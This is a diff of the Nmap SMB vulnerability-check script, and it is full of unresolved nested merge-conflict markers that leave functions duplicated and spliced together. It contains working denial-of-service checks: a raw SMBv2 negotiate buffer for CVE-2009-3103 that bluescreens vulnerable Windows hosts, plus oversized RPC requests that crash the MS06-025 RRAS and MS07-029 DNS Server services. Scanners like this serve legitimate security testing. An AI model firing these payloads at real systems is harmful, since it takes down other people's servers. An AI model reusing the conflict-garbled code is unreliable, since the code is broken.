diff --git a/scripts/smb-check-vulns.nse b/scripts/smb-check-vulns.nse index 1bbb5559d..24d9450c9 100644 --- a/scripts/smb-check-vulns.nse +++ b/scripts/smb-check-vulns.nse @@ -1,9 +1,93 @@ description = [[ +<<<<<<< .working +<<<<<<< .working Check for vulnerabilities: * MS08-067, a Windows RPC vulnerability * Conficker, an infection by the Conficker worm * Unnamed regsvc DoS, a denial-of-service vulnerability I accidentically found in Windows 2000 * SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497) +* MS06-025, a Windows Ras RPC service vulnerablity +* MS07-029, a Windows Dns Server RPC service vulnerability + +WARNING: These checks are dangerous, and are very likely to bring down a server. +These should not be run in a production environment unless you (and, more importantly, +the business) understand the risks! + +As a system administrator, performing these kinds of checks is crucial, because +a lot more damage can be done by a worm or a hacker using this vulnerability than +by a scanner. Penetration testers, on the other hand, might not want to use this +script -- crashing services is not generally a good way of sneaking through a +network. + +If you set the script parameter 'unsafe', then scripts will run that are almost +(or totally) guaranteed to crash a vulnerable system; do NOT specify unsafe +in a production environment! And that isn't to say that non-unsafe scripts will +not crash a system, they're just less likely to. + +If you set the script parameter 'safe', then script will run that rarely or never +crash a vulnerable system. No promises, though. + +MS08-067 -- Checks if a host is vulnerable to MS08-067, a Windows RPC vulnerability that +can allow remote code execution. Checking for MS08-067 is very dangerous, as the check +is likely to crash systems. On a fairly wide scan conducted by Brandon Enright, we determined +that on average, a vulnerable system is more likely to crash than to survive +the check. Out of 82 vulnerable systems, 52 crashed. + +At the same time, MS08-067 is extremely critical to fix. Metasploit has a working and +stable exploit for it, and any system vulnerable can very easily be compromised. + +Conficker -- Checks if a host is infected with a known Conficker strain. This check +is based on the simple conficker scanner found on this page: +http://iv.cs.uni-bonn.de/wg/cs/applications/containing-conficker +Thanks to the folks who wrote that scanner! + +regsvc DoS -- Checks if a host is vulnerable to a crash in regsvc, caused +by a null pointer dereference. I inadvertently discovered this crash while working +on smb-enum-sessions, and discovered that it was repeatable. It's been +reported to Microsoft (case #MSRC8742). + +This check WILL crash the service, if it's vulnerable, and requires a guest account +or higher to work. It is considered unsafe. + +SMBv2 DoS -- performs a denial-of-service against the vulnerability disclosed in +CVE-2009-3103. Checks if the server went offline. This works agianst Windows Vista +and some versions of Windows 7, and causes a bluescreen if successful. The proof- +of-concept code at http://seclists.org/fulldisclosure/2009/Sep/39 was used, +with one small change. + +MS06-025 -- vulnerability targets the RasRpcSumbitRequest() RPC method which is +a part of RASRPC interface that serves as a RPC service for configuring and +getting information from the Remote Access and Routing service. RASRPC can be +accessed using either "\ROUTER" SMB pipe or the "\SRVSVC" SMB pipe (usually on WinXP machines). +This is in RPC world known as "ncan_np" RPC transport. RasRpcSumbitRequest() +method is a generic method which provides different functionalities according +to the RequestBuffer structure and particulary the RegType field within that +structure. RegType field is of enum ReqTypes type. This enum type lists all +the different available operation that can be performed using the RasRpcSubmitRequest() +RPC method. The one particular operation that this vuln targets is the REQTYPE_GETDEVCONFIG +request to get device information on the RRAS. + +MS07-029 -- vulnerability targets the R_DnssrvQuery() and R_DnssrvQuery2() RPC method which is +a part of Dns Server RPC interface that serves as a RPC service for configuring and +getting information from the Dns Server service. Dns Server RPC service can be +accessed using "\dnsserver" SMB named pipe. The vulnerability is triggered when +a long string is send as the "zone" parameter which causes the buffer overflow which +crashes the service. + +(Note: if you have other SMB/MSRPC vulnerability checks you'd like to see added, and +you can show me a tool with a license that is compatible with Nmap's, post a request +on the Nmap-dev mailing list and I'll add it to my list [Ron Bowes]). +======= +Currently, this script checks if a host is vulnerable to ms08-067. I'd like to add +checks for more vulnerabilities, but I'm worried about licensing/copyright issues +(since I'd be basing them on non-free tools). +======= +Check for vulnerabilities: +* MS08-067, a Windows RPC vulnerability +* Conficker, an infection by the Conficker worm +* Unnamed regsvc DoS, a denial-of-service vulnerability I accidentically found in Windows 2000 +* SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497) +>>>>>>> .merge-right.r18099 WARNING: These checks are dangerous, and are very likely to bring down a server. These should not be run in a production environment unless you (and, more importantly, @@ -54,6 +138,7 @@ with one small change. (Note: if you have other SMB/MSRPC vulnerability checks you'd like to see added, and you can show me a tool with a license that is compatible with Nmap's, post a request on the Nmap-dev mailing list and I'll add it to my list [Ron Bowes]). +>>>>>>> .merge-right.r11005 ]] --- --@usage @@ -61,18 +146,47 @@ on the Nmap-dev mailing list and I'll add it to my list [Ron Bowes]). -- sudo nmap -sU -sS --script smb-check-vulns.nse -p U:137,T:139 -- --@output +<<<<<<< .working -- Host script results: +<<<<<<< .working +<<<<<<< .working -- | smb-check-vulns: -- | | MS08-067: NOT VULNERABLE -- | | Conficker: Likely CLEAN -- | | regsvc DoS: NOT VULNERABLE -- |_ |_ SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE +======= +-- | smb-check-vulns: +-- | MS08-067: NOT VULNERABLE +-- | Conficker: Likely CLEAN +-- | regsvc DoS: regsvc DoS: NOT VULNERABLE +-- | SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE +-- | MS06-025: NO SERVICE (the Ras RPC service is inactive) +-- |_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive) +>>>>>>> .merge-right.r18103 -- -- @args unsafe If set, this script will run checks that, if the system isn't -- patched, are basically guaranteed to crash something. Remember that -- non-unsafe checks aren't necessarily safe either) -- @args safe If set, this script will only run checks that are known (or at -- least suspected) to be safe. +======= +-- Host script results: +-- |_ smb-checkvulns: This host is vulnerable to ms08-067 +======= +-- | smb-check-vulns: +-- | | MS08-067: NOT VULNERABLE +-- | | Conficker: Likely CLEAN +-- | | regsvc DoS: NOT VULNERABLE +-- |_ |_ SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE +>>>>>>> .merge-right.r18099 +-- +-- @args unsafe If set, this script will run checks that, if the system isn't +-- patched, are basically guaranteed to crash something. Remember that +-- non-unsafe checks aren't necessarily safe either) +-- @args safe If set, this script will only run checks that are known (or at +-- least suspected) to be safe. +>>>>>>> .merge-right.r11005 ----------------------------------------------------------------------- author = "Ron Bowes" @@ -106,6 +220,7 @@ local INFECTED2 = 6 local CLEAN = 7 local NOTUP = 8 +<<<<<<< .working ---Check if the server is patched for MS08-067. This is done by calling NetPathCompare with an -- illegal string. If the string is accepted, then the server is vulnerable; if it's rejected, then -- you're safe (for now). @@ -167,6 +282,589 @@ function check_ms08_067(host) return true, VULNERABLE end +<<<<<<< .working +-- Help messages for the more common errors seen by the Conficker check. +CONFICKER_ERROR_HELP = { + ["NT_STATUS_BAD_NETWORK_NAME"] = +[[UNKNOWN; Network name not found (required service has crashed). (Error NT_STATUS_BAD_NETWORK_NAME)]], + -- http://seclists.org/nmap-dev/2009/q1/0918.html "non-Windows boxes (Samba on Linux/OS X, or a printer)" + -- http://www.skullsecurity.org/blog/?p=209#comment-156 + -- "That means either it isn’t a Windows machine, or the service is + -- either crashed or not running. That may indicate a failed (or + -- successful) exploit attempt, or just a locked down system. + -- NT_STATUS_OBJECT_NAME_NOT_FOUND can be returned if the browser + -- service is disabled. There are at least two ways that can happen: + -- 1) The service itself is disabled in the services list. + -- 2) The registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Browser\Parameters\MaintainServerList + -- is set to Off/False/No rather than Auto or yes. + -- On these systems, if you reenable the browser service, then the + -- test will complete." + ["NT_STATUS_OBJECT_NAME_NOT_FOUND"] = +[[UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED). +| If you know the remote system is Windows, try rebooting it and scanning +|_ again. (Error NT_STATUS_OBJECT_NAME_NOT_FOUND)]], + -- http://www.skullsecurity.org/blog/?p=209#comment-100 + -- "That likely means that the server has been locked down, so we + -- don’t have access to the necessary pipe. Fortunately, that means + -- that neither does Conficker — NT_STATUS_ACCESS_DENIED probably + -- means you’re ok." + ["NT_STATUS_ACCESS_DENIED"] = +[[Likely CLEAN; access was denied. +| If you have a login, try using --script-args=smbuser=xxx,smbpass=yyy +| (replace xxx and yyy with your username and password). Also try +|_ smbdomain=zzz if you know the domain. (Error NT_STATUS_ACCESS_DENIED)]], + -- The cause of these two is still unknown. + -- ["NT_STATUS_NOT_SUPPORTED"] = + -- [[]] + -- http://thatsbroken.com/?cat=5 (doesn't seem common) + -- ["NT_STATUS_REQUEST_NOT_ACCEPTED"] = + -- [[]] +} +======= +---Check if the server is patched for ms08-067. This is done by calling NetPathCompare() with an +======= +---Check if the server is patched for MS08-067. This is done by calling NetPathCompare with an +>>>>>>> .merge-right.r18099 +-- illegal string. If the string is accepted, then the server is vulnerable; if it's rejected, then +-- you're safe (for now). +-- +-- Based on a packet cap of this script, thanks go out to the author: +-- http://labs.portcullis.co.uk/application/ms08-067-check/ +-- +-- If there's a licensing issue, please let me (Ron Bowes) know so I can +-- +-- NOTE: This CAN crash stuff (ie, crash svchost and force a reboot), so beware! In about 20 +-- tests I did, it crashed once. This is not a guarantee. +-- +--@param host The host object. +--@return (status, result) If status is false, result is an error code; otherwise, result is either +-- VULNERABLE for vulnerable, PATCHED for not vulnerable, +-- UNKNOWN if there was an error (likely vulnerable), NOTRUN +-- if this check was disabled, and INFECTED if it was patched by Conficker. +function check_ms08_067(host) + if(nmap.registry.args.safe ~= nil) then + return true, NOTRUN + end + local status, smbstate + local bind_result, netpathcompare_result +>>>>>>> .merge-right.r11005 + +<<<<<<< .working +<<<<<<< .working +---Check if the server is infected with Conficker. This can be detected by a modified MS08-067 patch, +-- which rejects a different illegal string than the official patch rejects. +-- +-- Based loosely on the Simple Conficker Scanner, found here: +-- http://iv.cs.uni-bonn.de/wg/cs/applications/containing-conficker/ +-- +-- If there's a licensing issue, please let me (Ron Bowes) know so I can fix it +-- +--@param host The host object. +--@return (status, result) If status is false, result is an error code; otherwise, result is either +-- INFECTED for infected or CLEAN for not infected. +function check_conficker(host) + local status, smbstate + local bind_result, netpathcompare_result + + -- Create the SMB session + status, smbstate = msrpc.start_smb(host, "\\\\BROWSER", true) + if(status == false) then + return false, smbstate + end + + -- Bind to SRVSVC service + status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil) + if(status == false) then + msrpc.stop_smb(smbstate) + return false, bind_result + end + + -- Try checking a valid string to find Conficker.D + status, netpathcanonicalize_result, error_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\") + if(status == true and netpathcanonicalize_result['can_path'] == 0x5c45005c) then + msrpc.stop_smb(smbstate) + return true, INFECTED2 + end + + -- Try checking an illegal string ("\..\") to find Conficker.C and earlier + local error_result + status, netpathcanonicalize_result, error_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\..\\") + + if(status == false) then + if(string.find(netpathcanonicalize_result, "INVALID_NAME")) then + msrpc.stop_smb(smbstate) + return true, CLEAN + elseif(string.find(netpathcanonicalize_result, "UNKNOWN_57") ~= nil) then + msrpc.stop_smb(smbstate) + return true, INFECTED + else + msrpc.stop_smb(smbstate) + return false, netpathcanonicalize_result + end + end + + -- Stop the SMB session + msrpc.stop_smb(smbstate) + + return true, CLEAN +end + +---While writing smb-enum-sessions I discovered a repeatable null-pointer dereference +-- in regsvc. I reported it to Microsoft, but because it's a simple DoS (and barely even that, because +-- the service automatically restarts), and because it's only in Windows 2000, it isn't likely that they'll +-- fix it. This function checks for that crash (by crashing the process). +-- +-- The crash occurs when the string sent to winreg_enumkey() function is null. +-- +--@param host The host object. +--@return (status, result) If status is false, result is an error code; otherwise, result is either +-- VULNERABLE for vulnerable or PATCHED for not vulnerable. If the check +-- was skipped, NOTRUN is returned. +function check_winreg_Enum_crash(host) + if(nmap.registry.args.safe ~= nil) then + return true, NOTRUN + end + if(nmap.registry.args.unsafe == nil) then + return true, NOTRUN + end + + local i, j + local elements = {} + + -- Create the SMB session + status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH) + if(status == false) then + return false, smbstate + end + + -- Bind to WINREG service + status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil) + if(status == false) then + msrpc.stop_smb(smbstate) + return false, bind_result + end + + status, openhku_result = msrpc.winreg_openhku(smbstate) + if(status == false) then + msrpc.stop_smb(smbstate) + return false, openhku_result + end + + -- Loop through the keys under HKEY_USERS and grab the names + status, enumkey_result = msrpc.winreg_enumkey(smbstate, openhku_result['handle'], 0, nil) + msrpc.stop_smb(smbstate) + + if(status == false) then + return true, VULNERABLE + end + + return true, PATCHED +end + +local function check_smbv2_dos(host) + local status, result + + if(nmap.registry.args.safe ~= nil) then + return true, NOTRUN + end + if(nmap.registry.args.unsafe == nil) then + return true, NOTRUN + end + + -- From http://seclists.org/fulldisclosure/2009/Sep/0039.html with one change on the last line. + local buf = string.char(0x00, 0x00, 0x00, 0x90) .. -- Begin SMB header: Session message + string.char(0xff, 0x53, 0x4d, 0x42) .. -- Server Component: SMB + string.char(0x72, 0x00, 0x00, 0x00) .. -- Negociate Protocol + string.char(0x00, 0x18, 0x53, 0xc8) .. -- Operation 0x18 & sub 0xc853 + string.char(0x00, 0x26) .. -- Process ID High: --> :) normal value should be ", 0x00, 0x00" + string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xfe) .. + string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54) .. + string.char(0x57, 0x4f, 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31) .. + string.char(0x2e, 0x30, 0x00, 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00) .. + string.char(0x02, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x57) .. + string.char(0x6f, 0x72, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x73, 0x20, 0x33, 0x2e, 0x31, 0x61) .. + string.char(0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x4c) .. + string.char(0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4e, 0x54, 0x20, 0x4c) .. + string.char(0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e) .. + string.char(0x30, 0x30, 0x32, 0x00) + + local socket = nmap:new_socket() + if(socket == nil) then + return false, "Couldn't create socket" + end + + status, result = socket:connect(host.ip, 445) + if(status == false) then + socket:close() + return false, "Couldn't connect to host: " .. result + end + + status, result = socket:send(buf) + if(status == false) then + socket:close() + return false, "Couldn't send the buffer: " .. result + end + + -- Close the socket + socket:close() + + -- Give it some time to crash + stdnse.print_debug(1, "smb-check-vulns: Waiting 5 seconds to see if Windows crashed") + stdnse.sleep(5) + + -- Create a new socket + socket = nmap:new_socket() + if(socket == nil) then + return false, "Couldn't create socket" + end + + -- Try and do something simple + stdnse.print_debug(1, "smb-check-vulns: Attempting to connect to the host") + socket:set_timeout(5000) + status, result = socket:connect(host.ip, 445) + + -- Check the result + if(status == false or status == nil) then + stdnse.print_debug(1, "smb-check-vulns: Connect failed, host is likely vulnerable!") + socket:close() + return true, VULNERABLE + end + + -- Try sending something + stdnse.print_debug(1, "smb-check-vulns: Attempting to send data to the host") + status, result = socket:send("AAAA") + if(status == false or status == nil) then + stdnse.print_debug(1, "smb-check-vulns: Send failed, host is likely vulnerable!") + socket:close() + return true, VULNERABLE + end + + stdnse.print_debug(1, "smb-check-vulns: Checks finished; host is likely not vulnerable.") + socket:close() + return true, PATCHED +end + + +---Check the existence of ms06_025 vulnerability in Microsoft Remote Routing +--and Access Service. This check is not safe as it crashes the RRAS service and +--its dependencies. +--@param host Host object. +--@return (status, result) +--* status == false -> result == NOTUP which designates +--that the targeted Ras RPC service is not active. +--* status == true -> +-- ** result == VULNERABLE for vulnerable. +-- ** result == PATCHED for not vulnerable. +-- ** result == NOTRUN if check skipped. +function check_ms06_025(host) + --check for safety flag + if(nmap.registry.args.safe ~= nil) then + return true, NOTRUN +======= + -- Create the SMB session + status, smbstate = msrpc.start_smb(host, "\\\\BROWSER") + if(status == false) then + return false, smbstate +>>>>>>> .merge-right.r11005 + end +======= + -- Create the SMB session + status, smbstate = msrpc.start_smb(host, "\\\\BROWSER") + if(status == false) then + return false, smbstate + end +>>>>>>> .merge-right.r18099 +<<<<<<< .working + if(nmap.registry.args.unsafe == nil) then + return true, NOTRUN + end + --create the SMB session + --first we try with the "\router" pipe, then the "\srvsvc" pipe. + local status, smb_result, smbstate, err_msg + status, smb_result = msrpc.start_smb(host, msrpc.ROUTER_PATH) + if(status == false) then +<<<<<<< .working + err_msg = smb_result + status, smb_result = msrpc.start_smb(host, msrpc.SRVSVC_PATH) --rras is also accessible across SRVSVC pipe + if(status == false) then + return false, NOTUP --if not accessible across both pipes then service is inactive + end +======= + msrpc.stop_smb(smbstate) + return false, bind_result +>>>>>>> .merge-right.r11005 + end +======= + + -- Bind to SRVSVC service + status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil) + if(status == false) then + msrpc.stop_smb(smbstate) + return false, bind_result + end +>>>>>>> .merge-right.r18099 +<<<<<<< .working + smbstate = smb_result + --bind to RRAS service + local bind_result + status, bind_result = msrpc.bind(smbstate, msrpc.RASRPC_UUID, msrpc.RASRPC_VERSION, nil) + if(status == false) then + msrpc.stop_smb(smbstate) + return false, UNKNOWN --if bind operation results with a false status we can't conclude anything. + end +<<<<<<< .working +======= + + -- Call netpathcanonicalize +-- status, netpathcanonicalize_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\a", "\\test\\") + + local path1 = "\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\n" + local path2 = "\\n" + status, netpathcompare_result = msrpc.srvsvc_netpathcompare(smbstate, host.ip, path1, path2, 1, 0) +>>>>>>> .merge-right.r11005 +======= + if(bind_result['ack_result'] == 0x02) then --0x02 == PROVIDER_REJECTION + msrpc.stop_smb(smbstate) + return false, NOTUP --if bind operation results with true but PROVIDER_REJECTION, then the service is inactive. + end +>>>>>>> .merge-right.r18103 + local req, buff, sr_result + req = msrpc.RRAS_marshall_RequestBuffer( + 0x01, + msrpc.RRAS_RegTypes['GETDEVCONFIG'], + msrpc.random_crap(3000)) + status, sr_result = msrpc.RRAS_SubmitRequest(smbstate, req) + msrpc.stop_smb(smbstate) + --sanity check + if(status == false) then + stdnse.print_debug( + 3, + "check_ms06_025: RRAS_SubmitRequest failed") + if(sr_result == "NT_STATUS_PIPE_BROKEN") then + return true, VULNERABLE + else + return true, PATCHED + end + else + return true, PATCHED + end +end + +<<<<<<< .working +---Check the existence of ms07_029 vulnerability in Microsoft Dns Server service. +--This check is not safe as it crashes the Dns Server RPC service its dependencies. +--@param host Host object. +--@return (status, result) +--* status == false -> result == NOTUP which designates +--that the targeted Dns Server RPC service is not active. +--* status == true -> +-- ** result == VULNERABLE for vulnerable. +-- ** result == PATCHED for not vulnerable. +-- ** result == NOTRUN if check skipped. +function check_ms07_029(host) + --check for safety flag + if(nmap.registry.args.safe ~= nil) then + return true, NOTRUN + end + if(nmap.registry.args.unsafe == nil) then + return true, NOTRUN + end + --create the SMB session + local status, smbstate + status, smbstate = msrpc.start_smb(host, msrpc.DNSSERVER_PATH) + if(status == false) then + return false, NOTUP --if not accessible across pipe then the service is inactive + end + --bind to DNSSERVER service + local bind_result + status, bind_result = msrpc.bind(smbstate, msrpc.DNSSERVER_UUID, msrpc.DNSSERVER_VERSION) + if(status == false) then + msrpc.stop_smb(smbstate) + return false, UNKNOWN --if bind operation results with a false status we can't conclude anything. + end + --call + local req_blob, q_result + status, q_result = msrpc.DNSSERVER_Query( + smbstate, + "VULNSRV", + string.rep("\\\13", 1000), + 1)--any op num will do + --sanity check + msrpc.stop_smb(smbstate) + if(status == false) then + stdnse.print_debug( + 3, + "check_ms07_029: DNSSERVER_Query failed") + if(q_result == "NT_STATUS_PIPE_BROKEN") then + return true, VULNERABLE + else + return true, PATCHED + end + else + return true, PATCHED + end +end +======= + -- Stop the SMB session + msrpc.stop_smb(smbstate) +>>>>>>> .merge-right.r18099 + +<<<<<<< .working +<<<<<<< .working +---Returns the appropriate text to display, if any. +-- +--@param check The name of the check; for example, 'ms08-067'. +--@param message The message to display, such as 'VULNERABLE' or 'PATCHED'. +--@param description [optional] Extra details about the message. nil for a blank message. +--@param minimum_verbosity The minimum verbosity level required before the message is displayed. +--@param minimum_debug [optional] The minimum debug level required before the message is displayed (default: 0). +--@return A string with a textual representation of the error (or empty string, if it was determined that the message shouldn't be displayed). +local function get_response(check, message, description, minimum_verbosity, minimum_debug) + if(minimum_debug == nil) then + minimum_debug = 0 + end +======= + if(status == false) then + if(string.find(netpathcompare_result, "INVALID_NAME") == nil) then + return true, UNKNOWN +======= + if(status == false) then + if(string.find(netpathcompare_result, "UNKNOWN_57") ~= nil) then + return true, INFECTED + elseif(string.find(netpathcompare_result, "INVALID_NAME") ~= nil) then + return true, PATCHED +>>>>>>> .merge-right.r18099 + else + return true, UNKNOWN, netpathcompare_result + end + end +>>>>>>> .merge-right.r11005 + + -- Check if we have appropriate verbosity/debug + if(nmap.verbosity() >= minimum_verbosity and nmap.debugging() >= minimum_debug) then + if(description == nil or description == '') then + return string.format("%s: %s", check, message) + else + return string.format("%s: %s (%s)", check, message, description) + end + else + return nil + end +end + +<<<<<<< .working +action = function(host) + + local status, result, message + local response = {} + + -- Check for ms08-067 + status, result, message = check_ms08_067(host) + if(status == false) then + table.insert(response, get_response("MS08-067", "ERROR", result, 0, 1)) + else + if(result == VULNERABLE) then + table.insert(response, get_response("MS08-067", "VULNERABLE", nil, 0)) + elseif(result == UNKNOWN) then + table.insert(response, get_response("MS08-067", "LIKELY VULNERABLE", "host stopped responding", 1)) -- TODO: this isn't very accurate + elseif(result == NOTRUN) then + table.insert(response, get_response("MS08-067", "CHECK DISABLED", "remove 'safe=1' argument to run", 1)) + elseif(result == INFECTED) then + table.insert(response, get_response("MS08-067", "NOT VULNERABLE", "likely by Conficker", 0)) + else + table.insert(response, get_response("MS08-067", "NOT VULNERABLE", nil, 1)) + end + end + + -- Check for Conficker + status, result = check_conficker(host) + if(status == false) then + local msg = CONFICKER_ERROR_HELP[result] or "UNKNOWN; got error " .. result + table.insert(response, get_response("Conficker", msg, nil, 1)) -- Only set verbosity for this, since it might be an error or it might be UNKNOWN + else + if(result == CLEAN) then + table.insert(response, get_response("Conficker", "Likely CLEAN", nil, 1)) + elseif(result == INFECTED) then + table.insert(response, get_response("Conficker", "Likely INFECTED", "by Conficker.C or lower", 0)) + elseif(result == INFECTED2) then + table.insert(response, get_response("Conficker", "Likely INFECTED", "by Conficker.D or higher", 0)) + else + table.insert(response, get_response("Conficker", "UNKNOWN", result, 0, 1)) + end + end + + -- Check for a winreg_Enum crash + status, result = check_winreg_Enum_crash(host) + if(status == false) then + table.insert(response, get_response("regsvc DoS", "ERROR", result, 0, 1)) + else + if(result == VULNERABLE) then + table.insert(response, get_response("regsvc DoS", "VULNERABLE", nil, 0)) + elseif(result == NOTRUN) then + table.insert(response, get_response("regsvc DoS", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1)) + else + table.insert(response, get_response("regsvc DoS", "NOT VULNERABLE", nil, 1)) + end + end + + -- Check for SMBv2 vulnerablity + status, result = check_smbv2_dos(host) + if(status == false) then + table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "ERROR", result, 0, 1)) + else + if(result == VULNERABLE) then + table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "VULNERABLE", nil, 0)) + elseif(result == NOTRUN) then + table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1)) + else + table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "NOT VULNERABLE", nil, 1)) + end + end + + -- Check for ms06-025 + status, result = check_ms06_025(host) + if(status == false) then + if(result == NOTUP) then + table.insert(response, get_response("MS06-025", "NO SERVICE", "the Ras RPC service is inactive", 1)) + else + table.insert(response, get_response("MS06-025", "ERROR", result, 0, 1)) + end + else + if(result == VULNERABLE) then + table.insert(response, get_response("MS06-025", "VULNERABLE", nil, 0)) + elseif(result == NOTRUN) then + table.insert(response, get_response("MS06-025", "CHECK DISABLED", "remove 'safe=1' argument to run", 1)) + elseif(result == NOTUP) then + table.insert(response, get_response("MS06-025", "NO SERVICE", "the Ras RPC service is inactive", 1)) + else + table.insert(response, get_response("MS06-025", "NOT VULNERABLE", nil, 1)) + end + end + + -- Check for ms07-029 + status, result = check_ms07_029(host) + if(status == false) then + if(result == NOTUP) then + table.insert(response, get_response("MS07-029", "NO SERVICE", "the Dns Server RPC service is inactive", 1)) + else + table.insert(response, get_response("MS07-029", "ERROR", result, 0, 1)) + end + else + if(result == VULNERABLE) then + table.insert(response, get_response("MS07-029", "VULNERABLE", nil, 0)) + elseif(result == NOTRUN) then + table.insert(response, get_response("MS07-029", "CHECK DISABLED", "remove 'safe=1' argument to run", 1)) + else + table.insert(response, get_response("MS07-029", "NOT VULNERABLE", nil, 1)) + end + end + + return stdnse.format_output(true, response) +======= + return true, VULNERABLE +>>>>>>> .merge-right.r11005 +end + -- Help messages for the more common errors seen by the Conficker check. CONFICKER_ERROR_HELP = { ["NT_STATUS_BAD_NETWORK_NAME"] =